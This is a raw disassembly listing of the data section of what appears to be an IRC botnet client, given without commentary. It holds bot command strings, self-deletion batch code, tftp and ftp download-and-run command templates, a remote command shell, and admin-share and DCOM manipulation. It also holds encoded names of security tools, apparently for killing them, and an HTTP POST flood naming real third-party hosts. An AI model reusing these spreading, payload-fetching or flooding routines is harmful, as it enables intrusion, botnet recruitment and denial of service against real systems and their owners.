DATA XREF: _2:0044FA84o align 10h off_44F8F0 dd offset dword_44F730 ; DATA XREF: sub_418428+41r ; sub_418428+ECr dd offset dword_44F730+4 dd offset dword_44F730+8 dd offset dword_44F730+0Ch dd offset dword_44F744 dd offset dword_44F744+4 dd offset dword_44F744+8 dd offset dword_44F744+10h dd offset dword_44F744+18h dd offset dword_44F744+20h dd offset dword_44F744+28h dd offset dword_44F744+30h dd offset dword_44F744+38h dd offset dword_44F744+40h dd offset dword_44F744+48h dd offset dword_44F744+54h dd offset dword_44F744+5Ch dd offset dword_44F744+64h dd offset dword_44F744+68h dd offset dword_44F744+6Eh dd offset dword_44F744+70h dd offset dword_44F744+72h dd offset dword_44F744+74h dd offset dword_44F744+76h dd offset dword_44F744+78h dd offset dword_44F744+7Ah dd offset dword_44F744+7Ch ; --------------------------------------------------------------------------- retn 44F7h ; --------------------------------------------------------------------------- align 10h dd offset dword_44F744+80h dd offset dword_44F744+82h ; --------------------------------------------------------------------------- enter 44F7h, 0 retf 44F7h ; --------------------------------------------------------------------------- align 10h dd offset dword_44F744+88h dd offset dword_44F744+8Ah dd offset dword_44F744+8Ch dd offset dword_44F744+8Eh dd offset dword_44F744+90h dd offset dword_44F744+94h dd offset dword_44F744+96h dd offset dword_44F744+98h dd offset dword_44F744+9Ah dd offset dword_44F744+9Ch dd offset dword_44F744+9Eh dd offset dword_44F744+0A0h dd offset dword_44F744+0A4h dd offset dword_44F744+0ACh dd offset dword_44F744+0B0h dd offset dword_44F744+0B4h dd offset dword_44F744+0B8h dd offset dword_44F744+0BCh dd offset dword_44F744+0C0h dd offset dword_44F744+0C4h dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ ; "z" dd offset aGsq ; "gsq" dd offset aGsq+2 dd offset aGsq+4 dd offset off_44F830 dd offset dword_44F834 dd offset byte_4F2778 dd offset byte_4F2779 dd offset dword_44F83C dd offset byte_4F277A dd offset byte_4F277B dd offset byte_4F277C dd offset byte_4F277D dd offset dword_44F83C+4 dd offset dword_44F83C+6 dd offset dword_44F83C+8 dd offset dword_44F84C dd offset dword_44F84C+4 dd offset dword_44F84C+0Ah dd offset byte_4F277E dd offset dword_44F84C+0Ch dd offset byte_4F277F dd offset byte_4F2780 dd offset aFuck_0 ; "Fuck" dd offset aFree_0 ; "Free" dd offset byte_4F2781 dd offset byte_4F2782 dd offset asc_44F872 ; "X" dd offset byte_4F2783 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset a5u ; "5u" dd offset a6u ; "6u" asc_44FA88: ; DATA XREF: sub_4180CE+6o dw 0Ah unicode 0, < >,0 aPing_1 db 'PING',0 ; DATA XREF: sub_418115+50o align 4 aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_418115+67o align 4 a433_0 db '433',0 ; DATA XREF: sub_418115:loc_41818Co a432 db '432',0 ; DATA XREF: sub_418115+88o aNickS_5 db 'NICK %s',0Ah,0 ; DATA XREF: sub_418115+C3o align 4 aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41820B+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__2 db '-|`_\{[]}',0 ; DATA XREF: sub_418428+BCo ; sub_418428+174r ... align 8 dword_44FAF8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: _0:00418903o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44FB44 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: _0:00418942o ; --------------------------------------------------------------------------- loc_44FB60: ; DATA XREF: _0:00418977o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_44FB74 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: _0:0041899Eo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418C20+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_418CE5+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_418CE5+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418D6A+1Co align 4 aSS_5 db '%s %s',0 ; DATA XREF: _0:00418E50o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418E8C+2o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418EAE+48o align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418EAE+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418EAE+140o align 4 dword_44FC44 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_419036+5Co dd 65726165h, 64h unk_44FC60 db 2Dh ; - ; DATA XREF: sub_419036+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 unk_44FC88 db 2Dh ; - ; DATA XREF: sub_419036+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: _0:00419196o aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: _0:004191BFo db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_419229+47o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_419229+54o align 8 aAdd db 'Add',0 ; DATA XREF: _2:off_44FDD0o aAdded db 'Added',0 ; DATA XREF: _2:off_44FDD4o align 4 aDelete_1 db 'Delete',0 ; DATA XREF: _2:0044FDDCo align 4 aDeleted db 'Deleted',0 ; DATA XREF: _2:0044FDE0o aList_1 db 'List',0 ; DATA XREF: _2:0044FDE8o align 4 aListed db 'Listed',0 ; DATA XREF: _2:0044FDECo align 4 aStart_0 db 'Start',0 ; DATA XREF: _2:0044FDF4o align 4 aStarted db 'Started',0 ; DATA XREF: _2:0044FDF8o aStop_0 db 'Stop',0 ; DATA XREF: _2:0044FE00o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: _2:0044FE04o aPause_0 db 'Pause',0 align 4 aPaused_0 db 'Paused',0 align 4 aContinue_0 db 'Continue',0 align 10h aContinued db 'Continued',0 align 10h off_44FDD0 dd offset aAdd ; DATA XREF: sub_419350+6Dr ; sub_419737+50r ... ; "Add" off_44FDD4 dd offset aAdded ; DATA XREF: sub_419350+2Dr ; sub_419737+82r ... ; "Added" dword_44FDD8 dd 0 ; DATA XREF: sub_419350+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 44FDA4h, 44FDACh, 2, 44FDB4h, 44FDC0h, 3 unk_44FE24 db 2Dh ; - ; DATA XREF: sub_419350+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_44FE40 db 2Dh ; - ; DATA XREF: sub_419350+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_44FE6C db 2Dh ; - ; DATA XREF: sub_419350+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_419479+3Co align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_419479:loc_4194BFo align 4 aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_419479:loc_4194C9o align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_419479:loc_4194D3o aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_419479:loc_4194DDo align 10h aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_419479:loc_4194E7o db 'dependent on it.',0 align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_419479+8Fo aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_419479:loc_419512o align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_419479:loc_419519o db 'tServiceCtrlDispatcher.',0 align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_419479:loc_419520o db ' the service.',0 align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_419479:loc_419527o align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_419479:loc_419552o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_419479:loc_419559o db 'marked for deletion.',0 align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_419479:loc_419560o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_419479:loc_419567o align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_419479:loc_41956Eo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_419479:loc_419575o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_419479:loc_41957Co align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_419479:loc_419583o db 'the state of the service.',0 align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_419479:loc_41958Ao align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_419479:loc_419591o align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419479+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_4195F7+25o align 4 aUnknown db ' Unknown',0 ; DATA XREF: sub_4195F7+9Eo aPaused db ' Paused',0 ; DATA XREF: sub_4195F7:loc_41969Co aPausing db ' Pausing',0 ; DATA XREF: sub_4195F7:loc_4196A3o aContinuing db ' Continuing',0 ; DATA XREF: sub_4195F7:loc_4196AAo aRunning db ' Running',0 ; DATA XREF: sub_4195F7:loc_4196B1o aStoping db ' Stoping',0 ; DATA XREF: sub_4195F7:loc_4196B8o aStarting db ' Starting',0 ; DATA XREF: sub_4195F7:loc_4196BFo aStopped db ' Stopped',0 ; DATA XREF: sub_4195F7:loc_4196C6o aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_4195F7+EEo unk_4503D8 db 2Dh ; - ; DATA XREF: sub_419737+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 dword_450404 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_419737+89o dd 73252720h, 27h unk_450420 db 2Dh ; - ; DATA XREF: sub_419737+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_41992C+26o align 4 unk_45047C db 2Dh ; - ; DATA XREF: sub_41992C+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aYes db 'Yes',0 ; DATA XREF: sub_41992C+B5o aNo db 'No',0 ; DATA XREF: sub_41992C+BCo align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41992C+D0o align 4 unk_4504C4 db 2Dh ; - ; DATA XREF: sub_419A4D+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_4504E4 db 2Dh ; - ; DATA XREF: sub_419A4D+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_450514 db 2Dh ; - ; DATA XREF: sub_419A4D+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_419B93+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419B93+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419B93+ACo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419B93+D4o aUnknown_2 db 'Unknown',0 ; DATA XREF: sub_419B93+104o aAdministrator db 'Administrator',0 ; DATA XREF: sub_419B93:loc_419C9Eo align 10h aUser_3 db 'User',0 ; DATA XREF: sub_419B93:loc_419CA5o align 4 aGuest db 'Guest',0 ; DATA XREF: sub_419B93:loc_419CACo align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419B93+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419B93+14Do align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419B93+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419B93+1A0o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419B93+1CBo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419B93+1F3o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419B93+21Eo align 4 aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419B93+246o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419B93+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419B93+299o align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419B93+2C4o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419B93+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419B93+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419B93+33Fo align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419B93+36Ao align 4 unk_4506C4 db 2Dh ; - ; DATA XREF: sub_419B93+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419F61+29o unk_45070C db 2Dh ; - ; DATA XREF: sub_419F61+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aS_29 db ' %S',0 ; DATA XREF: sub_419F61+BAo align 4 unk_450738 db 2Dh ; - ; DATA XREF: sub_419F61:loc_41A04Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419F61+145o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41A0D7+3Bo align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41A0D7:loc_41A11Co align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41A0D7:loc_41A126o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41A0D7:loc_41A130o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41A0D7:loc_41A13Ao align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A144o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41A0D7+89o align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A0D7:loc_41A16Ao align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41A0D7:loc_41A174o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A17Bo aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41A0D7:loc_41A182o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41A0D7+CFo db ' the domain.',0 align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1ADo align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1B4o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41A0D7:loc_41A1BBo db 'ord policy requirement.)',0 align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41A0D7:loc_41A1D8o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A1DFo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1E6o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41A0D7:loc_41A1EDo align 10h aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1F4o align 10h unk_450A40 db 2Dh ; - ; DATA XREF: sub_41A20B+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_450A68 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_41A20B+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h, 0 dword_450A98 dd 7530h ; DATA XREF: sub_41A689+12r dword_450A9C dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh ; DATA XREF: _2:off_450BE8o ; _2:00450BECo dd 6578652Eh, 0 dword_450AB8 dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h ; DATA XREF: _2:00450BF0o _2:00450BF4o dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h dd 6578h, 6176616Eh, 32337770h, 6578652Eh, 0 dword_450AF8 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h ; DATA XREF: _2:00450C04o dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh dd 6578652Eh, 0 dword_450B8C dd 756E6977h, 652E6470h, 6578h, 736E6977h, 652E7379h, 6578h ; DATA XREF: _2:00450C2Co _2:00450C30o dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0 dword_450BBC dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h ; DATA XREF: _2:00450C3Co dd 65h, 72313169h, 346E3435h, 6578652Eh, 0 off_450BE8 dd offset dword_450A9C ; DATA XREF: sub_41A334+D1r dd offset dword_450A9C+0Ch dd offset dword_450AB8 dd offset dword_450AB8+0Ch dd offset dword_450AB8+18h dd offset dword_450AB8+24h dd offset dword_450AB8+30h dd offset dword_450AF8 dd offset dword_450AF8+10h dd offset dword_450AF8+28h dd offset dword_450AF8+3Ch dd offset dword_450AF8+48h dd offset dword_450AF8+54h dd offset dword_450AF8+60h dd offset dword_450AF8+6Ch dd offset dword_450AF8+78h dd offset dword_450AF8+84h dd offset dword_450B8C dd offset dword_450B8C+0Ch dd offset dword_450B8C+18h dd offset dword_450B8C+24h dd offset dword_450BBC dd offset dword_450BBC+10h dd offset dword_450BBC+1Ch aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+5Ao align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_41A334+17Ao align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41A334+188o align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41A334+19Co align 10h aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+204o align 4 unk_450C94 db 2Dh ; - ; DATA XREF: sub_41A574+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_450CB4 db 2Dh ; - ; DATA XREF: sub_41A574+86o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_450CD8 db 2Dh ; - ; DATA XREF: sub_41A574:loc_41A601o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 aPrivmsgSS_2 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A711+33o aS_18 db '%s',0 ; DATA XREF: sub_41A711+4Co align 10h unk_450D10 db 2Dh ; - ; DATA XREF: sub_41A798:loc_41A87Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_450D40 db 2Dh ; - ; DATA XREF: sub_41A798+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_450D68 db 2Dh ; - ; DATA XREF: sub_41A798:loc_41A8CAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41A8ED+20o unk_450DA0 db 2Dh ; - ; DATA XREF: sub_41A8ED+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 unk_450DC4 db 2Dh ; - ; DATA XREF: sub_41A8ED+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 aIpc db 'IPC$',0 ; DATA XREF: _2:off_450E18o align 10h aAdmin_1 db 'ADMIN$',0 ; DATA XREF: _2:00450E20o align 4 aC_0 db 'C$',0 ; DATA XREF: _2:00450E28o align 4 aC_1 db 'C:\',0 ; DATA XREF: _2:00450E2Co aD_2 db 'D$',0 ; DATA XREF: _2:00450E30o align 4 aD_3 db 'D:\',0 ; DATA XREF: _2:00450E34o off_450E18 dd offset aIpc ; DATA XREF: sub_41AB05:loc_41ACBAr ; sub_41AB05+1C3r ... ; "IPC$" dword_450E1C dd 0 ; DATA XREF: sub_41AE2B:loc_41AFA6r dd offset aAdmin_1 ; "ADMIN$" align 8 dd offset aC_0 ; "C$" dd offset aC_1 ; "C:\\" dd offset aD_2 ; "D$" dd offset aD_3 ; "D:\\" word_450E38 dw 4Eh ; DATA XREF: sub_41AB05+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41AB05+54o align 4 dword_450E48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+6Co aDisableDcomFai db '- Disable DCOM failed.',0 align 4 dword_450E6C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41AB05:loc_41AB78o dd 62617369h, 2E64656Ch, 0 dword_450E8C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41AB05+EDo align 10h dword_450ED0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+10Co aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 dword_450F0C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC18o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_450F40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC30o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_450F7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC37o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_450FAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+1D3o aShareSDeleted_ db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_450FD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41ACDFo aFailedToDelete db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_450FFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+263o aShareSDelete_0 db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_451020 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AD6Fo aFailedToDele_0 db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_45104C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+2D1o aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_451074 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+2E7o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_4510A4 dw 59h ; DATA XREF: sub_41AE2B+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41AE2B+54o align 4 dword_4510B4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+6Co aEnableDcomFail db '- Enable DCOM failed.',0 align 4 dword_4510D8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41AE2B:loc_41AE9Eo dd 6C62616Eh, 2E6465h dword_4510F4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+91o aFailedToOpen_1 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41AE2B+EDo align 4 dword_451138 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+108o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_451178 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF3Ao aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_4511B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF52o aFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0 dword_4511EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF59o aAdvapi32_dll_1 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_45121C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+1A0o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_45123C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AFD2o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 aC_2 db '%c$',0 ; DATA XREF: sub_41AE2B+21Bo aC_3 db '%c:\',0 ; DATA XREF: sub_41AE2B+22Co align 10h dword_451270 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+26Eo aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 dword_451290 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41B0A0o aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 dword_4512B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+2C5o aNetworkSharesA db '- Network shares added.',0 dword_4512DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+2DDo aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B161+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 asc_451344 db 0Dh,0Ah,0 ; DATA XREF: sub_41B161+F2o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41B33E+15o aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41B33E+1Co align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41B33E+23o 